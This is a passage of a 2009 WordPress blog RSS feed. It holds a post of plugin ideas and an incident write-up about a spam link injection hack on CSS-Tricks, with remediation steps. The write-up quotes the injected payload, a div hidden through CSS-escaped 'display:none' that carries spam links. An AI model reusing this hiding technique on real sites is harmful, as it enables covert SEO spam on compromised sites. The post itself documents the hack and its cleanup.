		<description><![CDATA[&#8230; or slightly more accurately, that I don&#8217;t know how to write =) Subtitle I think it would be a cool format for a blog to have a title and a subtitle for every single Post. You could easily do it with Custom Fields, but this plugin would alter the Admin screen for writing posts [...]]]></description>
			<content:encoded><![CDATA[<p>&#8230; or slightly more accurately, that I don&#8217;t know how to write =)</p>
<h3>Subtitle</h3>
<p>I think it would be a cool format for a blog to have a title <strong>and</strong> a subtitle for every single Post. You could easily do it with Custom Fields, but this plugin would alter the Admin screen for writing posts to insert an additional text area underneath the title and above the content area. </p>
<p><img src="http://digwp.com/wp-content/blog-images/subtitle.png" width="590" height="268" alt="" title="" /></p>
<p>Then there would be a special function for displaying the subtitle like:</p>
<pre><code>&lt;?php the_subtitle(); ?&gt;</code></pre>
<p><span id="more-629"></span></p>
<p>&nbsp;</p>
<h3>Rich Text Titles</h3>
<p>Speaking of titles, it would be cool if we were able to use HTML tags in titles sometimes. For example, just being able to add &lt;em&gt; tags to a word in the title would be cool, but that causes problems currently. It might display OK on your site, but it may cause validation problems (since the tags will show up inside title attributes and such) and may come across screwed up in feed readers. This plugin would alter the the_title() function to automatically strip the HTML tags, but create a new function like the_title_html() that would retain the tags for display anywhere you want to make sure they persist. This would ensure the RSS feed remains unscathed.</p>
<p><img src="http://digwp.com/wp-content/blog-images/html-title.png" width="590" height="116" alt="" title="" /></p>
<p>&nbsp;</p>
<h3>Plugin Notes</h3>
<p>Ever look through your list of plugins and forget just exactly what one of them does? I know they have descriptions next to them, but that doesn&#8217;t always speak to <strong>exactly what <em>you</em> are using it for</strong> and why. This plugin would just put a text field in each plugin field you could type some notes in there, theoretically to keep information about why and how you are using this plugin.</p>
<p><img src="http://digwp.com/wp-content/blog-images/plugin-notes.png" width="590" height="402" alt="" title="" /></p>
<p>You&#8217;d probably have to also add buttons/links for adding &#038; removing notes.</p>
<p>&nbsp;</p>
<h3>Notify All Admins</h3>
<p>On this blog we have two admins: me and Jeff. When I write and publish a post, and someone comments, I get an email about it (but Jeff doesn&#8217;t). When Jeff writes and publishes a post, and someone comments, he gets an email about it (but I don&#8217;t). Since this is both of our sites, I wouldn&#8217;t mind getting ALL comment notifications. But I&#8217;m not sure if Jeff feels the same way. So this plugin would just add an extra user option (only active for full site admins):</p>
<p><img src="http://digwp.com/wp-content/blog-images/comment-notification.png" width="590" height="223" alt="" title="" /></p>
<p>&nbsp;</p>
<h3>Title Un-Widower</h3>
<p>There is a pretty robust plugin called <a href="http://wordpress.org/extend/plugins/wp-typography/">WP-Typography</a> that covers widows in post titles. I give it props, but my personal preference is to handle 90% of what it does on my own. What I can&#8217;t do on my own is add non-breaking spaces to the last two words in a post title (one of the things it does). I currently <a href="http://css-tricks.com/preventing-widows-in-post-titles/">do this with jQuery</a> on some sites which is OK, but would be better done with PHP so it happens <strong>before</strong> the page renders no matter what.</p>
<p><img src="http://digwp.com/wp-content/blog-images/post-un-widower.png" width="523" height="200" alt="" title="" /></p>
<p>&nbsp;</p>
<p>So if there are already plugins out there that do this stuff, I apologize. I admit I didn&#8217;t launch a giant manhunt to find existing plugins that did these things.</p>
<hr />
<p><small>© 2009 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2009/10/ideas-for-plugins/">Permalink</a> | <a href="http://digwp.com/2009/10/ideas-for-plugins/#comments">27 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2009/10/ideas-for-plugins/&title=Ideas for Plugins I&#8217;m Too Lazy To Write">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/hacking/" rel="tag">hacking</a>, <a href="http://digwp.com/tag/plugin/" rel="tag">plugin</a>, <a href="http://digwp.com/tag/title/" rel="tag">title</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2009/10/ideas-for-plugins/feed/</wfw:commentRss>
		<slash:comments>27</slash:comments>
		</item>
		<item>
		<title>Spam Link Injection Hacked (and How I Hopefully Fixed It)</title>
		<link>http://digwp.com/2009/06/spam-link-injection-hacked/</link>
		<comments>http://digwp.com/2009/06/spam-link-injection-hacked/#comments</comments>
		<pubDate>Tue, 30 Jun 2009 13:16:48 +0000</pubDate>
		<dc:creator>Chris Coyier</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://diggingintowordpress.com/?p=166</guid>
		<description><![CDATA[Just recently my other blog CSS-Tricks was hacked. I first found out by a very helpful reader emailing me a screenshot from the mobile version of my site. The mobile version of my site was built by Mobify, so I contacted them right away. As I should of known, of course Mobify can&#8217;t insert content [...]]]></description>
			<content:encoded><![CDATA[<p>Just recently my other blog <a href="http://css-tricks.com">CSS-Tricks</a> was hacked. I first found out by a very helpful reader emailing me a screenshot from the mobile version of my site.</p>
<p><span id="more-166"></span></p>
<p><img src="http://digwp.com/wp-content/blog-images/spamonmobile.PNG" width="320" height="480" alt="" title="" /></p>
<p>The mobile version of my site was built by <a href="http://mobify.me/">Mobify</a>, so I contacted them right away. As I should of known, of course Mobify can&#8217;t insert content into a site, they only are a presentation layer on top of the already existing content. They were very quick and helpful with their response and sent me some useful links to what the problem might be. </p>
<p>This of course meant that the site itself was hacked. Time is of the essence at this point, because not only do I not want my visitors seeing nasty spam, I don&#8217;t want Google bot to cruise through and see the mess and hurt my SEO. I immediately set out to figure out where these spam links were being inserted from. </p>
<p>I had this happen to me years ago and it turned out the theme files themselves were altered and spam injected that way. I took a look through all of them quickly and didn&#8217;t see anything. I could see from the source on the site that the links were being inserted after the content on each post. I could also see at this point that the links were identical on each post. This seemed like a theme file injection to me, but clearly it wasn&#8217;t.</p>
<p>I popped open the WordPress Admin itself and checked out a post. Low and behold, there the links were, right in the content for each post. I checked out a number of them, new and old, and there were all the same. At this point, there were two possibilities. The Admin was compromised giving someone access in there and the ability to edit posts or the Database itself was compromised.</p>
<p>Due to the speed of the attack, the fact that all the links were the same, and that over 500 Posts/Pages were identically altered, <strong>I concluded it must have been a database attack.</strong></p>
<p>Here is what I did:</p>
<ol>
<li><strong>I changed the Admin username and password.</strong> Just to make sure that the Admin itself was secure, this login and password must be changed. Since you cannot change usernames after they are created, I created a <em>new</em> account with a new password, logged in with that, and deleted the original account, attributing all posts to the new account.</li>
<li><strong>I changed the server admins username and password.</strong> My site is managed by Plesk, which has a login and password to itself. If someone had access to this, they could access the Database. It is unlikely this was compromised, but to cover all the bases, this was changed as well. </li>
<li><strong>The database name, database username, and database password was changed.</strong> Changing the database password might have been enough, but just to be as difficult as possible I changed both the username and the password. The database name was changed later after the cleanup (see below).</li>
<li><strong>I changed the FTP login and password.</strong> If the hacker had this, they could have altered the theme files or opened the wp-config.php file to find the database credentials.</li>
<li><strong>The XMLRPC file was removed.</strong> This file <a href="http://digwp.com/2009/06/xmlrpc-php-security/">is used for</a> pingback and trackbacks as well as remote editing possibilities like posting by email. I literally use none of these things, and this file has been responsible for security problems in the past, so I removed it.</li>
<li><strong>The file permissions where checked.</strong> In particular, I found the wp-config.php file was set at 775, I changed it to 755. I also made sure that none of the file were world writeable except the very few that need to be, like the uploads folder.</li>
</ol>
<h3>What the spam insertion looked like</h3>
<pre><code>&lt;div style=\"\\64\\69\\73\\70\\6c\\61\\79:\\6e\\6f\\6e\\65\"&gt;
&lt;a href=\"http://www.fcit.usf.edu/li/viagra.html\"&gt;viagra&lt;/a&gt;\r\n&lt;a href=\"http://www.fcit.usf.edu/li/free-viagra.html\"&gt;free viagra&lt;/a&gt;\r\n

... lots more ...

&lt;/div&gt;</code></pre>
<p>That &#8220;style&#8221; attribute (inline CSS), when rendered in a typical browser, converted to <code>display: none;</code> and thus were not visible. For whatever reason, when Mobify picked up this content, that weird string of characters wasn&#8217;t converted and thus the div was visible not hidden.</p>
<p>The reason I&#8217;m sure the hackers chose this technique is that the blog owner may never realize the links were inserted because they aren&#8217;t typically visible. I would think that Google doesn&#8217;t give any link credit to links that are in a container with display: none, but perhaps the hacker&#8217;s theory is that the google bot won&#8217;t be able to tell this div is hidden because of the weird code.</p>
<p>I would be interested to know if Google can be duped with this technique. It seems like they would be smart enough to detect it, yet I wouldn&#8217;t be surprised if the site is penalized anyway due to being compromised by spam. </p>
<h3>How I Removed the Links</h3>
<p>Luckily the code that was inserted in every single Post/Page was identical. I downloaded a fresh copy of the Database (as a .SQL file), opened it up in TextMate (any text editor with find/replace will do) and did a find/replace on the block of spammy code (replaced it with nothing). Then I saved a new copy of it and created a new database on the server (hence the change in DB name). I imported the new fixed SQL file and posted WordPress at the new database.</p>
<h3>Crossing My Fingers</h3>
<p>It&#8217;s been a week now, and no more problems. I pray that what I have done has fixed whatever the hole was, but of course I can&#8217;t be 100% certain because I&#8217;m not 100% certain what it was to begin with. Of course, posting all this information surely doesn&#8217;t make me any more secure but oh well. I of course have serious backups going on so the worst thing that can happen is I get hacked again and have to restore from backups and keep plugging holes. </p>
<h3>Consequences</h3>
<p>Although the spam wasn&#8217;t on my site for more than a few hours, someone has pointed out to me that my Google PageRank for the homepage has dropped from a reasonable and healthy PR 6 to ZERO. While PageRank is a very weird thing and it could be any number of things including a random inaccurate report from Google, it seems more likely this is a penalization from them for the spam. Many of my subpages, which get crawled far less frequently, still have their PageRank. It&#8217;s not just the PageRank, many searches that would have brought up the homepage (e.g. my own name) are now far down the SERP pages when they used to be #1. This of course will be seriously affecting my traffic until my PageRank is restored, if it ever is.</p>
<p>CSS-Tricks, is non-trivial portion of my income, and if there is a serious dip in traffic it could certainly affect me financially. I&#8217;m not whining, it just goes to show that <strong>site security is not some abstract nerdy hobby, it&#8217;s serious business</strong> that can have serious consequences.</p>
<hr />
<p><small>© 2009 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2009/06/spam-link-injection-hacked/">Permalink</a> | <a href="http://digwp.com/2009/06/spam-link-injection-hacked/#comments">29 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2009/06/spam-link-injection-hacked/&title=Spam Link Injection Hacked (and How I Hopefully Fixed It)">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/database/" rel="tag">database</a>, <a href="http://digwp.com/tag/hacking/" rel="tag">hacking</a>, <a href="http://digwp.com/tag/spam/" rel="tag">spam</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2009/06/spam-link-injection-hacked/feed/</wfw:commentRss>
		<slash:comments>29</slash:comments>
		</item>
	</channel>
</rss>

